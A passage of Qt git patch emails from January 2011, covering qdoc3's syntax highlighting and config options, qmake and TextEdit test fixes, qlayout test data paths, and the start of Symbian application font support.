xDotY("\\b([a-zA-Z_][a-zA-Z_0-9]*) *(?:\\.|->|,[ \n]*S(?:IGNAL|LOT)\\() *" - "([a-zA-Z_][a-zA-Z_0-9]*)(?= *\\()"); - static QRegExp xIsStaticZOfY("[\n:;{(=] *(([a-zA-Z_0-9]+)::([a-zA-Z_0-9]+))(?= *\\()"); - static QRegExp classX("[:,][ \n]*(?:p(?:ublic|r(?:otected|ivate))[ \n]+)?" - "([a-zA-Z_][a-zA-Z_0-9]*)"); - static QRegExp globalX("[\n{()=] *([a-zA-Z_][a-zA-Z_0-9]*)[ \n]*\\("); - static QRegExp multiLineComment("/(?:( )?\\*(?:[^*]+|\\*(?! /))*\\*\\1/)"); - multiLineComment.setMinimal(true); - static QRegExp singleLineComment("[^:]//(?!!)[^!\\n]*"); - static QRegExp preprocessor("(?:^|\n)(#[ \t]*(?:include|if|elif|endif|error|pragma|define" - "|warning)(?:(?:\\\\\n|\\n#)[^\n]*)*)"); - static QRegExp literals(""(?:[^\\\\&]|\\\\[^\n]|&(?!quot;))*"" - "|'(?:[^\\\\]|\\\\(?:[^x0-9']|x[0-9a-f]{1,4}|[0-9]{1,3}))'"); - - QString result = protectedCode; - int pos; - - if (!hurryUp()) { - /* - Mark global includes. For example: - - #include <<@headerfile>QString - */ - pos = 0; - while ((pos = result.indexOf(globalInclude, pos)) != -1) - pos += globalInclude.matchedLength() - + insertTagAround(result, - globalInclude.pos(1), - globalInclude.cap(1).length(), - "@headerfile"); - - /* - Look for variable definitions and similar constructs, mark - the data type, and remember the type of the variable. - */ - QMap > typesForVariable; - pos = 0; - while ((pos = yHasTypeX.indexIn(result, pos)) != -1) { - QString x = yHasTypeX.cap(1); - QString y = yHasTypeX.cap(2); - - if (!y.isEmpty()) - typesForVariable[y].insert(x); - - /* - Without the minus one at the end, 'void member(Class - var)' would give 'member' as a variable of type 'void', - but would ignore 'Class var'. (### Is that true?) - */ - pos += yHasTypeX.matchedLength() - + insertTagAround(result, - yHasTypeX.pos(1), - x.length(), - "@type") - 1; - } +#define readChar() \ + ch = (i < (int)code.length()) ? code[i++].cell() : EOF - /* - Do syntax highlighting of preprocessor directives. - */ - pos = 0; - while ((pos = preprocessor.indexIn(result, pos)) != -1) - pos += preprocessor.matchedLength() - + insertTagAround(result, - preprocessor.pos(1), - preprocessor.cap(1).length(), - "@preprocessor"); - - /* - Deal with string and character literals. - */ - pos = 0; - while ((pos = literals.indexIn(result, pos)) != -1) - pos += literals.matchedLength() - + insertTagAround(result, - pos, - literals.matchedLength(), - result.at(pos) == - QLatin1Char(' ') ? "@string" : "@char"); - - /* - Look for 'var = new Class'. - */ - pos = 0; - while ((pos = xNewY.indexIn(result, pos)) != -1) { - QString x = xNewY.cap(1); - QString y = xNewY.cap(2); - typesForVariable[x].insert(y); - - pos += xNewY.matchedLength() + insertTagAround(result, - xNewY.pos(2), - y.length(), - "@type"); - } + QString code = in; - /* - Insert some stuff that cannot harm. - */ - typesForVariable["qApp"].insert("QApplication"); - - /* - Add link to ': Class'. - */ - pos = 0; - while ((pos = classX.indexIn(result, pos)) != -1) - pos += classX.matchedLength() - + insertTagAround(result, - classX.pos(1), - classX.cap(1).length(), - "@type") - 1; - - /* - Find use of any of - - var.method() - var->method() - var, SIGNAL(method()) - var, SLOT(method()). - */ - pos = 0; - while ((pos = xDotY.indexIn(result, pos)) != -1) { - QString x = xDotY.cap(1); - QString y = xDotY.cap(2); - - QSet types = typesForVariable.value(x); - pos += xDotY.matchedLength() - + insertTagAround(result, - xDotY.pos(2), - xDotY.cap(2).length(), - "@func", - (types.count() == 1) ? "target=\"" - + protect(*types.begin() + "::" + y) - + "()\"" : QString()); - } + QMap types; + QMap keywords; + int j = 0; + while (typeTable[j] != 0) { + types.insert(QString(typeTable[j]), 0); + j++; + } + j = 0; + while (keywordTable[j] != 0) { + keywords.insert(QString(keywordTable[j]), 0); + j++; + } - /* - Add link to 'Class::method()'. - */ - pos = 0; - while ((pos = xIsStaticZOfY.indexIn(result, pos)) != -1) { - QString x = xIsStaticZOfY.cap(1); - QString z = xIsStaticZOfY.cap(3); - - pos += insertTagAround(result, - xIsStaticZOfY.pos(3), - z.length(), - "@func", - "target=\"" + protect(x) + "()\""); - pos += insertTagAround(result, - xIsStaticZOfY.pos(2), - xIsStaticZOfY.cap(2).length(), - "@type"); - pos += xIsStaticZOfY.matchedLength() - 1; - } + QString out(""); + int braceDepth = 0; + int parenDepth = 0; + int i = 0; + char ch; + QRegExp classRegExp("Qt?(?:[A-Z3]+[a-z][A-Za-z]*|t)"); + QRegExp functionRegExp("q([A-Z][a-z]+)+"); + + readChar(); + + while (ch != EOF) { + int second = i; + QString tag; + + if (isalpha(ch) || ch == '_') { + QString ident; + do { + ident += ch; + readChar(); + } while (isalnum(ch) || ch == '_'); + + if (classRegExp.exactMatch(ident)) { + tag = QLatin1String("class"); + } else if (functionRegExp.exactMatch(ident)) { + tag = QLatin1String("function"); + } else if (types.contains(ident)) { + tag = QLatin1String("type"); + } else if (keywords.contains(ident)) { + tag = QLatin1String("keyword"); + } else if (braceDepth == 0 && parenDepth == 0) { + if (QString(code.unicode() + i - 1, code.length() - (i - 1)) + .indexOf(QRegExp(QLatin1String("^\\s*\\("))) == 0) + tag = QLatin1String("function"); + } + } else if (isdigit(ch)) { + do { + readChar(); + } while (isalnum(ch) || ch == '.'); + tag = QLatin1String("number"); + } else { + switch (ch) { + case '+': + case '-': + case '!': + case '%': + case '^': + case '&': + case '*': + case ',': + case '.': + case '<': + case '=': + case '>': + case '?': + case '[': + case ']': + case '|': + case '~': + readChar(); + tag = QLatin1String("op"); + break; + case '"': + readChar(); + + while (ch != EOF && ch != '"') { + if (ch == '\\') + readChar(); + readChar(); + } + readChar(); + tag = QLatin1String("string"); + break; + case '#': + readChar(); + while (ch != EOF && ch != '\n') { + if (ch == '\\') + readChar(); + readChar(); + } + tag = QLatin1String("preprocessor"); + break; + case '\'': + readChar(); + + while (ch != EOF && ch != '\'') { + if (ch == '\\') + readChar(); + readChar(); + } + readChar(); + tag = QLatin1String("char"); + break; + case '(': + readChar(); + parenDepth++; + break; + case ')': + readChar(); + parenDepth--; + break; + case ':': + readChar(); + if (ch == ':') { + readChar(); + tag = QLatin1String("op"); + } + break; + case '/': + readChar(); + if (ch == '/') { + do { + readChar(); + } while (ch != EOF && ch != '\n'); + tag = QLatin1String("comment"); + } else if (ch == '*') { + bool metAster = false; + bool metAsterSlash = false; + + readChar(); + + while (!metAsterSlash) { + if (ch == EOF) + break; + + if (ch == '*') + metAster = true; + else if (metAster && ch == '/') + metAsterSlash = true; + else + metAster = false; + readChar(); + } + tag = QLatin1String("comment"); + } else { + tag = QLatin1String("op"); + } + break; + case '{': + readChar(); + braceDepth++; + break; + case '}': + readChar(); + braceDepth--; + break; + default: + readChar(); + } + } - /* - Add link to 'globalFunction()'. - */ - pos = 0; - while ((pos = globalX.indexIn(result, pos)) != -1) { - QString x = globalX.cap(1); - if (x != "QT_FORWARD_DECLARE_CLASS") { - pos += globalX.matchedLength() - + insertTagAround(result, - globalX.pos(1), - x.length(), - "@func", - "target=\"" + protect(x) + "()\"") - 1; - } - else - pos += globalX.matchedLength(); - } - } + if (!tag.isEmpty()) + out += QLatin1String("<@") + tag + QLatin1String(">"); - /* - Do syntax highlighting of comments. Also alter the code in a - minor way, so that we can include comments in documentation - comments. - */ - pos = 0; - while (pos != -1) { - int mlpos; - int slpos; - int len; - slpos = singleLineComment.indexIn(result, pos); - mlpos = multiLineComment.indexIn(result, pos); - - if (slpos == -1 && mlpos == -1) - break; - - if (slpos == -1) { - pos = mlpos; - len = multiLineComment.matchedLength(); - } - else if (mlpos == -1) { - pos = slpos + 1; - len = singleLineComment.matchedLength() - 1; - } - else { - if (slpos < mlpos) { - pos = slpos + 1; - len = singleLineComment.matchedLength() - 1; - } - else { - pos = mlpos; - len = multiLineComment.matchedLength(); - } - } + if (tag.isEmpty() && i == code.length()) + out += protect(code.mid(second - 1, i - second + 1)); + else + out += protect(code.mid(second - 1, i - second)); - if (result.at(pos + 1) == QLatin1Char(' ')) { - result.remove(pos + len - 2, 1); - result.remove(pos + 1, 1); - len -= 2; + if (!tag.isEmpty()) + out += QLatin1String(""); - forever { - int endcodePos = result.indexOf("\\ endcode", pos); - if (endcodePos == -1 || endcodePos >= pos + len) - break; - result.remove(endcodePos + 1, 1); - len -= 1; - } - } - pos += len + insertTagAround(result, pos, len, "@comment"); } - return result; + return out; } #ifdef QDOC_QML -- cgit v0.12 From fc66f45827b723eb207f9bad113523f0c26c0d44 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 20:30:57 +0100 Subject: Define what the -slow command line option does. Added configuration options for syntax highlighting and linking. These are also enabled if the -slow command line option is used. --- tools/qdoc3/codemarker.cpp | 12 ++++++------ tools/qdoc3/codemarker.h | 4 +--- tools/qdoc3/config.h | 2 ++ tools/qdoc3/ditaxmlgenerator.cpp | 3 --- tools/qdoc3/ditaxmlgenerator.h | 1 - tools/qdoc3/htmlgenerator.cpp | 8 ++++---- tools/qdoc3/htmlgenerator.h | 2 +- tools/qdoc3/main.cpp | 3 ++- 8 files changed, 16 insertions(+), 19 deletions(-) diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp index f1b6346..89933d3 100644 --- a/tools/qdoc3/codemarker.cpp +++ b/tools/qdoc3/codemarker.cpp @@ -59,7 +59,7 @@ QList CodeMarker::markers; been read. */ CodeMarker::CodeMarker() - : slow(false) + : linksInMarkup(false) { markers.prepend(this); } @@ -74,14 +74,14 @@ CodeMarker::~CodeMarker() } /*! - The only thing a code market initializes is its \e{slow} - flag. The \e{slow} flag indicates whether the operations - that slow down qdoc are to be performed or not. It is - turned off by default. + The only thing a code market initializes is its \e{linksInMarkup} + flag. The \e{linksInMarkup} flag indicates whether links are created for + names that have corresponding entries in the API documentation. + It is turned off by default. */ void CodeMarker::initializeMarker(const Config &config) { - slow = config.getBool(QLatin1String(CONFIG_SLOW)); + linksInMarkup = config.getBool(QLatin1String(CONFIG_LINKSINMARKUP)); } /*! diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index 3cf3984..e643082 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -164,8 +164,6 @@ class CodeMarker static QString stringForNode(const Node *node); protected: - bool hurryUp() const { return !slow; } - virtual QString sortName(const Node *node); QString protect(const QString &string); QString typified(const QString &string); @@ -184,7 +182,7 @@ class CodeMarker private: QString macName(const Node *parent, const QString &name = QString()); - bool slow; + bool linksInMarkup; static QString defaultLang; static QList markers; diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h index bc36f3d..2dd7d50 100644 --- a/tools/qdoc3/config.h +++ b/tools/qdoc3/config.h @@ -141,6 +141,7 @@ class Config #define CONFIG_IMAGES "images" #define CONFIG_INDEXES "indexes" #define CONFIG_LANGUAGE "language" +#define CONFIG_LINKSINMARKUP "linksinmarkup" #define CONFIG_MACRO "macro" #define CONFIG_NATURALLANGUAGE "naturallanguage" #define CONFIG_OBSOLETELINKS "obsoletelinks" @@ -163,6 +164,7 @@ class Config #define CONFIG_STYLE "style" #define CONFIG_STYLES "styles" #define CONFIG_STYLESHEETS "stylesheets" +#define CONFIG_SYNTAXHIGHLIGHTING "syntaxhighlighting" #define CONFIG_TEMPLATEDIR "templatedir" #define CONFIG_TABSIZE "tabsize" #define CONFIG_TAGFILE "tagfile" diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 7b40886..6f9d537 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -354,7 +354,6 @@ DitaXmlGenerator::DitaXmlGenerator() offlineDocs(true), funcLeftParen("\\S(\\()"), myTree(0), - slow(false), obsoleteLinks(false), noLinks(false), tableColumnCount(0) @@ -461,8 +460,6 @@ void DitaXmlGenerator::initializeGenerator(const Config &config) ++edition; } - slow = config.getBool(CONFIG_SLOW); - stylesheets = config.getStringList(DitaXmlGenerator::format() + Config::dot + DITAXMLGENERATOR_STYLESHEETS); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 1a42e5f..640d7db 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -291,7 +291,6 @@ class DitaXmlGenerator : public PageGenerator QStringList stylesheets; QStringList customHeadElements; const Tree* myTree; - bool slow; bool obsoleteLinks; bool noLinks; int tableColumnCount; diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index ebc2713..a3156c3 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -219,7 +219,7 @@ HtmlGenerator::HtmlGenerator() threeColumnEnumValueTable(true), funcLeftParen("\\S(\\()"), myTree(0), - slow(false), + syntaxHighlighting(false), obsoleteLinks(false) { } @@ -320,7 +320,7 @@ void HtmlGenerator::initializeGenerator(const Config &config) ++edition; } - slow = config.getBool(CONFIG_SLOW); + syntaxHighlighting = config.getBool(CONFIG_SYNTAXHIGHLIGHTING); codeIndent = config.getInt(CONFIG_CODEINDENT); @@ -472,7 +472,7 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << protectEnc(plainCode(atom->string())); } else { - out() << highlightedCode(atom->string(), marker, relative); + out() << protectEnc(plainCode(atom->string())); } out() << formattingRightMap()[ATOM_FORMATTING_TELETYPE]; break; @@ -2781,7 +2781,7 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode, } - if (slow) { + if (syntaxHighlighting) { // is this block ever used at all? // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()" src = html; diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index f5d2427..6701184 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -279,7 +279,7 @@ class HtmlGenerator : public PageGenerator QStringList stylesheets; QStringList customHeadElements; const Tree *myTree; - bool slow; + bool syntaxHighlighting; bool obsoleteLinks; QMap moduleClassMap; QMap moduleNamespaceMap; diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 782df39..8193d2d 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -147,7 +147,8 @@ static void processQdocconfFile(const QString &fileName) QStringList() << defaults[i].value); ++i; } - config.setStringList(CONFIG_SLOW, QStringList(slow ? "true" : "false")); + config.setStringList(CONFIG_SYNTAXHIGHLIGHTING, QStringList(slow ? "true" : "false")); + config.setStringList(CONFIG_LINKSINMARKUP, QStringList(slow ? "true" : "false")); config.setStringList(CONFIG_SHOWINTERNAL, QStringList(showInternal ? "true" : "false")); config.setStringList(CONFIG_OBSOLETELINKS, -- cgit v0.12 From 2f69ca58949ceaec5c2195af6e9edfa46c1c911d Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Tue, 18 Jan 2011 18:20:35 +0100 Subject: stabilize qmake autotest on a systems with small packet windows, QProcess::readAllStandardError() might return a part of the string and the existing code adds an endl to it a bit later, causing a test failure. (I don't care about the '\r'-s here because of QString shall eat them anyways) Merge-request: 2546 Reviewed-by: Oswald Buddenhagen --- tests/auto/qmake/testcompiler.cpp | 23 ++++++++--------------- 1 file changed, 8 insertions(+), 15 deletions(-) diff --git a/tests/auto/qmake/testcompiler.cpp b/tests/auto/qmake/testcompiler.cpp index 021fe9b..dbdeee8 100644 --- a/tests/auto/qmake/testcompiler.cpp +++ b/tests/auto/qmake/testcompiler.cpp @@ -142,23 +142,16 @@ bool TestCompiler::runCommand( QString cmdline ) bool failed = false; child.setReadChannel(QProcess::StandardError); - while (QProcess::Running == child.state()) { - if (child.waitForReadyRead(1000)) { - QString output = child.readAllStandardError(); - testOutput_.append(output); - - output.prepend('\n'); - if (output.contains("\nProject MESSAGE: FAILED")) - failed = true; - } - } - child.waitForFinished(-1); - return failed - ? false - : (child.exitStatus() == QProcess::NormalExit) - && (child.exitCode() == 0); + foreach (const QByteArray &output, child.readAllStandardError().split('\n')) { + testOutput_.append(QString::fromLocal8Bit(output)); + + if (output.startsWith("Project MESSAGE: FAILED")) + failed = true; + } + + return !failed && child.exitStatus() == QProcess::NormalExit && child.exitCode() == 0; } void TestCompiler::setBaseCommands( QString makeCmd, QString qmakeCmd ) -- cgit v0.12 From b481399c1c02a945e816f9385070883a0d795455 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 19 Jan 2011 11:25:22 +1000 Subject: TextEdit implicit size varied depending upon wrapMode. We failed to reset textWidth before calculating the ideal width of the text. Task-number: QTBUG-16710 Reviewed-by: Michael Brasser --- src/declarative/graphicsitems/qdeclarativetextedit.cpp | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 42f66c3..cb62a2c 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -1365,8 +1365,12 @@ void QDeclarativeTextEdit::updateSize() int dy = height(); // ### assumes that if the width is set, the text will fill to edges // ### (unless wrap is false, then clipping will occur) - if (widthValid() && d->document->textWidth() != width()) - d->document->setTextWidth(width()); + if (widthValid()) { + if (d->document->textWidth() != width()) + d->document->setTextWidth(width()); + } else { + d->document->setTextWidth(-1); + } dy -= (int)d->document->size().height(); int nyoff; -- cgit v0.12 From 5d9738ed88da269033333299c16558882d346514 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 19 Jan 2011 11:27:48 +1000 Subject: Cleanup created views in TextEdit tests. Reviewed-by: Michael Brasser --- .../qdeclarativetextedit/tst_qdeclarativetextedit.cpp | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp index 615b919..ba1a95f 100644 --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp @@ -373,6 +373,8 @@ void tst_qdeclarativetextedit::alignments() QImage expect(expectfile); QCOMPARE(actual,expect); + + delete canvas; } @@ -745,6 +747,8 @@ void tst_qdeclarativetextedit::mouseSelection() QVERIFY(str.length() > 3); // don't reallly care *what* was selected (and it's too sensitive to platform) else QVERIFY(str.isEmpty()); + + delete canvas; } void tst_qdeclarativetextedit::inputMethodHints() @@ -759,6 +763,8 @@ void tst_qdeclarativetextedit::inputMethodHints() QVERIFY(textEditObject->inputMethodHints() & Qt::ImhNoPredictiveText); textEditObject->setInputMethodHints(Qt::ImhUppercaseOnly); QVERIFY(textEditObject->inputMethodHints() & Qt::ImhUppercaseOnly); + + delete canvas; } void tst_qdeclarativetextedit::cursorDelegate() @@ -785,6 +791,8 @@ void tst_qdeclarativetextedit::cursorDelegate() //Test Delegate gets deleted textEditObject->setCursorDelegate(0); QVERIFY(!textEditObject->findChild("cursorInstance")); + + delete view; } void tst_qdeclarativetextedit::delegateLoading_data() @@ -867,6 +875,8 @@ void tst_qdeclarativetextedit::navigation() QVERIFY(input->hasActiveFocus() == false); simulateKey(canvas, Qt::Key_Left); QVERIFY(input->hasActiveFocus() == true); + + delete canvas; } void tst_qdeclarativetextedit::copyAndPaste() { @@ -941,6 +951,8 @@ void tst_qdeclarativetextedit::readOnly() simulateKey(canvas, Qt::Key_Space); simulateKey(canvas, Qt::Key_Escape); QCOMPARE(edit->text(), initial); + + delete canvas; } void tst_qdeclarativetextedit::simulateKey(QDeclarativeView *view, int key) -- cgit v0.12 From bf7c6ee466d93db7d5af027d5ab503998f8ebf6f Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Wed, 19 Jan 2011 10:10:14 +0100 Subject: fix doubleformat config.test add 0.0 at the end to be treated like trailing null (\0) by some versions of 'strings' cli tool Merge-request: 2550 Reviewed-by: Oswald Buddenhagen --- config.tests/unix/doubleformat/doubleformattest.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.tests/unix/doubleformat/doubleformattest.cpp b/config.tests/unix/doubleformat/doubleformattest.cpp index f7b9000..b906e00 100644 --- a/config.tests/unix/doubleformat/doubleformattest.cpp +++ b/config.tests/unix/doubleformat/doubleformattest.cpp @@ -54,7 +54,7 @@ tested on x86, arm-le (gp), aix #include // equals static char c [] = "0123ABCD0123ABCD\0\0\0\0\0\0\0" -static double d [] = { 710524581542275055616.0, 710524581542275055616.0}; +static double d [] = { 710524581542275055616.0, 710524581542275055616.0, 0.0 }; int main(int argc, char **argv) { -- cgit v0.12 From b075603792ad90a55e0b23817d15f428e078a96e Mon Sep 17 00:00:00 2001 From: Adrian Constantin Date: Wed, 5 Jan 2011 14:31:10 +0200 Subject: Add the test data to the INSTALLS target Reviewed-by: Lucian Varlan --- tests/auto/qlayout/qlayout.pro | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/auto/qlayout/qlayout.pro b/tests/auto/qlayout/qlayout.pro index c99f1d9..08727e5 100644 --- a/tests/auto/qlayout/qlayout.pro +++ b/tests/auto/qlayout/qlayout.pro @@ -10,5 +10,9 @@ wince*|symbian: { addFiles.sources = baseline addFiles.path = . DEPLOYMENT += addFiles +} else { + test_data.files = baseline/* + test_data.path = $${target.path}/baseline + INSTALLS += test_data } -- cgit v0.12 From f250b8717cc35f55d1b6e1965419eca5334d77d9 Mon Sep 17 00:00:00 2001 From: Lucian Varlan Date: Tue, 4 Jan 2011 15:49:39 +0200 Subject: Use SRCDIR as a base path for the test data. The test cannot run on harmattan CI system, which executes it from a different directory than the one where the executable resides. Reviewed-by: Adrian Constantin Reviewed-by: Harald Fernengel --- tests/auto/qlayout/qlayout.pro | 2 ++ tests/auto/qlayout/tst_qlayout.cpp | 3 ++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/auto/qlayout/qlayout.pro b/tests/auto/qlayout/qlayout.pro index 08727e5..d3b76e3 100644 --- a/tests/auto/qlayout/qlayout.pro +++ b/tests/auto/qlayout/qlayout.pro @@ -11,6 +11,8 @@ wince*|symbian: { addFiles.path = . DEPLOYMENT += addFiles } else { + DEFINES += SRCDIR=\\\"$$PWD\\\" + test_data.files = baseline/* test_data.path = $${target.path}/baseline INSTALLS += test_data diff --git a/tests/auto/qlayout/tst_qlayout.cpp b/tests/auto/qlayout/tst_qlayout.cpp index 65eae55..3090ebb 100644 --- a/tests/auto/qlayout/tst_qlayout.cpp +++ b/tests/auto/qlayout/tst_qlayout.cpp @@ -156,7 +156,8 @@ void tst_QLayout::smartMaxSize() { QVector expectedWidths; - QFile f(QLatin1String("baseline/smartmaxsize")); + QFile f(QLatin1String(SRCDIR "/baseline/smartmaxsize")); + QCOMPARE(f.open(QIODevice::ReadOnly | QIODevice::Text), true); QTextStream stream(&f); -- cgit v0.12 From 770fb729929764a1f1c5fbd3d54714cf811c81e0 Mon Sep 17 00:00:00 2001 From: Alessandro Portale Date: Wed, 19 Jan 2011 13:16:13 +0100 Subject: Supporting Qt application fonts on Symbian This patch finally implements the missing application font support on Symbian. QFontDatabase's addApplicationFont[FromData], applicationFontFamilies and removeApplicationFont are now functional and allow an application to load, use and unload fonts at run-time. The underlying Symbian API comes with some restrictions/specialties. Most of them are worked around in this patch, the missing ones are left as part of QTBUG-16514: - The font file must be a file, not a memory buffer. Web fonts and qrc fonts come as memory buffers. These buffers are saved to a temporary .ttf file and the file is loaded by the underlying Symbian API. The temporary file can only be deleted after the font is unloaded. - The font file must be in a public location in order to be loadable by Symbian. It can for example not reside in the private application directory. Therefore, all application fonts (also those that are on the file system) become a temporary .ttf file in c:\temp\. - Symbian3/PR2 will come with a font table API which provides direct access to font tables. Symbian3/PR1 and below are missing this API, therefore, an own TFontStore is (ab)used to read font tables out of a font. This patch is considering both code paths in several occasions, making the Qt Symbian font implementation significantly less maintainable. - The fonts are loaded into Symbian's central font server. Loaded fonts from different processes can have colliding font typeface names (not file names) on that server. The server does not separate loaded fonts by their origin processes. Working around such collisions is part of QTBUG-16514. The number of fonts loadable at the same time by a Qt application is limited to the random value 5. Just to prevent abuse of the font server's memory. As usual, this patch was looked at by colleagues, and it was adjusted according to the feedback. But since the bus factor for the interaction of Qt's and Symbian's font systems is 1, I reviewed this patch, myself. Task-Number: QTBUG-6611 Autotest: tst_QFontDatabase::addAppFont --- src/gui/kernel/qapplication_s60.cpp | 4 +- src/gui/text/qfontdatabase.cpp | 16 +- src/gui/text/qfontdatabase_s60.cpp | 229 +++++++++++++++++++++++-- tests/auto/qfontdatabase/tst_qfontdatabase.cpp | 4 - 4 files changed, 225 insertions(+), 28 deletions(-) diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp index ba06312..40a7ec6 100644 --- a/src/gui/kernel/qapplication_s60.cpp +++ b/src/gui/kernel/qapplication_s60.cpp @@ -1616,7 +1616,7 @@ void qt_init(QApplicationPrivate * /* priv */, int) qRegisterMetaType("WId"); } -extern void qt_cleanup_symbianFontDatabaseExtras(); // qfontdatabase_s60.cpp +extern void qt_cleanup_symbianFontDatabase(); // qfontdatabase_s60.cpp /***************************************************************************** qt_cleanup() - cleans up when the application is finished @@ -1630,7 +1630,7 @@ void qt_cleanup() QFontCache::cleanup(); // Has to happen now, since QFontEngineS60 has FBS handles QPixmapCache::clear(); // Has to happen now, since QS60PixmapData has FBS handles - qt_cleanup_symbianFontDatabaseExtras(); + qt_cleanup_symbianFontDatabase(); // S60 structure and window server session are freed in eventdispatcher destructor as they are needed there // It's important that this happens here, before the event dispatcher gets diff --git a/src/gui/text/qfontdatabase.cpp b/src/gui/text/qfontdatabase.cpp index 5cecf08..637957d 100644 --- a/src/gui/text/qfontdatabase.cpp +++ b/src/gui/text/qfontdatabase.cpp @@ -624,6 +624,10 @@ public: { } ~QFontDatabasePrivate() { free(); +#if defined(Q_OS_SYMBIAN) && defined(QT_NO_FREETYPE) + if (symbianExtras) + delete symbianExtras; +#endif } QtFontFamily *family(const QString &f, bool = false); void free() { @@ -632,12 +636,6 @@ public: ::free(families); families = 0; count = 0; -#if defined(Q_OS_SYMBIAN) && defined(QT_NO_FREETYPE) - if (symbianExtras) { - delete symbianExtras; - symbianExtras = 0; - } -#endif // don't clear the memory fonts! } @@ -653,6 +651,10 @@ public: QVector signatures; #elif defined(Q_WS_MAC) ATSFontContainerRef handle; +#elif defined(Q_OS_SYMBIAN) && defined(QT_NO_FREETYPE) + QString temporaryFileName; + TInt screenDeviceFontFileId; + TUid fontStoreFontFileUid; #endif QStringList families; }; @@ -680,7 +682,7 @@ public: QDataStream *stream; QStringList fallbackFamilies; #elif defined(Q_OS_SYMBIAN) && defined(QT_NO_FREETYPE) - const QSymbianFontDatabaseExtras *symbianExtras; + QSymbianFontDatabaseExtras *symbianExtras; #endif }; diff --git a/src/gui/text/qfontdatabase_s60.cpp b/src/gui/text/qfontdatabase_s60.cpp index 6ba035e..e508810 100644 --- a/src/gui/text/qfontdatabase_s60.cpp +++ b/src/gui/text/qfontdatabase_s60.cpp @@ -45,6 +45,7 @@ #include "qfontengine_s60_p.h" #include "qabstractfileengine.h" #include "qdesktopservices.h" +#include "qtemporaryfile.h" #include #include #include "qendian.h" @@ -114,7 +115,14 @@ public: ~QSymbianFontDatabaseExtrasImplementation(); const QSymbianTypeFaceExtras *extras(const QString &typeface, bool bold, bool italic) const; - void addFontFileToFontStore(const QFileInfo &fontFileInfo); + void removeAppFontData(QFontDatabasePrivate::ApplicationFont *fnt); + static inline bool appFontLimitReached(); + TUid addFontFileToFontStore(const QFileInfo &fontFileInfo); + static void clear(); + + static inline QString tempAppFontFolder(); + static const QString appFontMarkerPrefix; + static QString appFontMarker(); // 'qaf' struct CFontFromFontStoreReleaser { static inline void cleanup(CFont *font) @@ -146,6 +154,33 @@ public: mutable QHash m_extrasHash; }; +const QString QSymbianFontDatabaseExtrasImplementation::appFontMarkerPrefix = + QLatin1String("qaf"); + +inline QString QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder() +{ + return QDir::toNativeSeparators(QDir::tempPath()) + QLatin1Char('\\'); +} + +QString QSymbianFontDatabaseExtrasImplementation::appFontMarker() +{ + static QString result; + if (result.isEmpty()) { + const quint32 uid = RProcess().Type().MostDerived().iUid; + quint16 crossSum = static_cast(uid + (uid >> 16)); + if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) { + // If no font table Api is available, we must not even load a font + // from a previous (crashed) run of this application. Reason: we + // won't get the font tables, they are not in the CFontStore. + // So, we add the pid to the uniqueness of the marker. + const quint32 pid = static_cast(RProcess().Id().Id()); + crossSum += static_cast(pid + (pid >> 16)); + } + result = appFontMarkerPrefix + QString::number(crossSum, 16); + } + return result; +} + QSymbianFontDatabaseExtrasImplementation::QSymbianFontDatabaseExtrasImplementation() { if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) { @@ -170,10 +205,13 @@ QSymbianFontDatabaseExtrasImplementation::QSymbianFontDatabaseExtrasImplementati } } -void qt_cleanup_symbianFontDatabaseExtras() +void QSymbianFontDatabaseExtrasImplementation::clear() { + QFontDatabasePrivate *db = privateDb(); + if (!db) + return; const QSymbianFontDatabaseExtrasImplementation *dbExtras = - static_cast(privateDb()->symbianExtras); + static_cast(db->symbianExtras); if (!dbExtras) return; // initializeDb() has never been called if (QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) { @@ -189,9 +227,32 